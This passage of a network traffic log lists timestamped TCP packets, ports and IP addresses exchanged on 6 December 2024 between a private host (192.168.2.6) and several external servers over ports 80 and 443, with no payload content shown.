Dec 6, 2024 18:45:19.419214010 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.419234037 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.420057058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.420108080 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.420154095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.420202971 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.421014071 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.421061039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.421084881 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.421128988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.421972990 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.422019005 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.422040939 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.422087908 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.422897100 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.422944069 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.423065901 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.423111916 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.423844099 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.423886061 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.423966885 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.424014091 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.425052881 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.425101995 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.425395012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.425442934 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.425760031 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.425806046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.425829887 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.425872087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.426683903 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.426729918 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.426788092 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.426835060 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.427639961 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.427690983 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.427753925 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.427799940 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.428592920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.428642988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.428716898 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.428765059 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.429572105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.429620028 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.429683924 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.429732084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.430450916 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.430496931 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.430557013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.430603981 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.431421995 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.431463957 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.431478024 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.431519032 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.432395935 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.432418108 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.432446957 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.432460070 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.433280945 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.433324099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.433340073 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.433383942 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.471549988 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.471641064 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.471662045 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.471724987 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.472017050 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.472064018 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.472111940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.472166061 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.472276926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.472325087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.473093987 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.473144054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.473218918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.473267078 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.474035978 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.474091053 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.474169016 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.474220037 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.474956036 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.475009918 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.475038052 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.475085974 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.475934982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.475994110 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.476125002 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.476175070 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.476861954 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.476924896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.476944923 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.476989985 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.477788925 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.477844000 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.477891922 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.477941990 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.478746891 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.478800058 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.478864908 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.478900909 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.479713917 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.479767084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.479804993 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.479847908 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.480654001 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.480700016 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.480729103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.480773926 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.482180119 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.482224941 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.482276917 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.482319117 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.482744932 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.482788086 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.482933998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.482979059 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.483499050 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.483537912 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.483645916 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.483689070 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.843935013 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.843961000 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.843976974 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.844114065 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:19.844152927 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.844170094 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:19.844201088 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.019623995 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.019645929 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.019777060 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.019812107 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.019870043 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.066291094 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.066308022 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.066435099 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.066453934 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.066497087 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.189620018 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.189640999 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.189771891 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.189800978 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.189842939 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.227842093 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.227857113 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.227967024 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.227993965 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.228035927 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.251377106 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.251393080 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.251497030 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.251508951 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.254117012 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.269393921 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.269408941 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.269500017 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.269510984 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.269545078 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.375051975 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.375083923 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.375133991 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.375154018 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.375184059 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.375202894 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.393390894 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.393408060 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.393460035 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.393469095 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.393506050 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.393521070 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.409262896 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.409279108 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.409318924 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.409328938 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.409363985 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.409379959 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.422772884 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.422807932 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.422866106 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.422877073 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.422915936 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.424520969 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.437869072 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.437932014 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.437978983 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.453150988 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.453176975 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.577408075 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.577440023 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.577538013 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.578526974 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.578577042 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.578632116 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.578638077 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.578649044 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.578696012 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580257893 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580266953 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.580317020 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580740929 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580751896 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.580878973 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580899000 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.580965996 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.580980062 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.581895113 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.581907988 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.583901882 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.583924055 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:20.583978891 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.584260941 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:20.584274054 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:21.480087996 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.480118990 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.480196953 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.480967045 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.480982065 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.482242107 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.482264996 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.482312918 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.482495070 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.482506037 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.538173914 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.538202047 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.538305044 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.538516045 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.538525105 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.575643063 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.575684071 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:21.575757027 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.576059103 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:21.576067924 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:22.351542950 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.352101088 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.352113008 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.352592945 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.352597952 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.353431940 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.353722095 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.353739023 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354046106 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354055882 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354237080 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.354242086 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354444981 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.354453087 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354564905 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.354577065 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.354948997 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.354954004 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.355020046 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.355025053 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.376257896 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.376607895 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.376622915 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.377036095 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.377042055 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.788690090 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791145086 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791255951 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.791553974 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.791567087 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791691065 CET	49718	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.791697025 CET	443	49718	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791766882 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791835070 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.791891098 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.795034885 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.795058012 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.795068979 CET	49717	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.795074940 CET	443	49717	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797238111 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.797290087 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797360897 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.797467947 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797489882 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797538996 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.797549009 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797951937 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.797966003 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.797966957 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.798131943 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.798136950 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.798163891 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.798289061 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.798319101 CET	443	49719	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.798363924 CET	49719	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800002098 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800023079 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800103903 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800112009 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800364017 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800388098 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800390005 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800441027 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800698996 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800698996 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.800704956 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800863028 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800894022 CET	443	49716	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.800951958 CET	49716	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.801445007 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.801455975 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.808701038 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.808764935 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.808836937 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.809865952 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.809905052 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.809971094 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.812772036 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.812787056 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.812961102 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.812973022 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.818716049 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.818752050 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.819072962 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.819083929 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.819282055 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.819292068 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.819299936 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.819487095 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.819518089 CET	443	49720	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.820193052 CET	49720	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.823085070 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.823113918 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:22.823174953 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.823345900 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:22.823357105 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:23.175899029 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.177040100 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.203779936 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:23.204149961 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:23.206408024 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.206419945 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.206506014 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.206527948 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.207499981 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.207572937 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.207614899 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.207665920 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.227972031 CET	443	49726	172.217.21.36	192.168.2.6
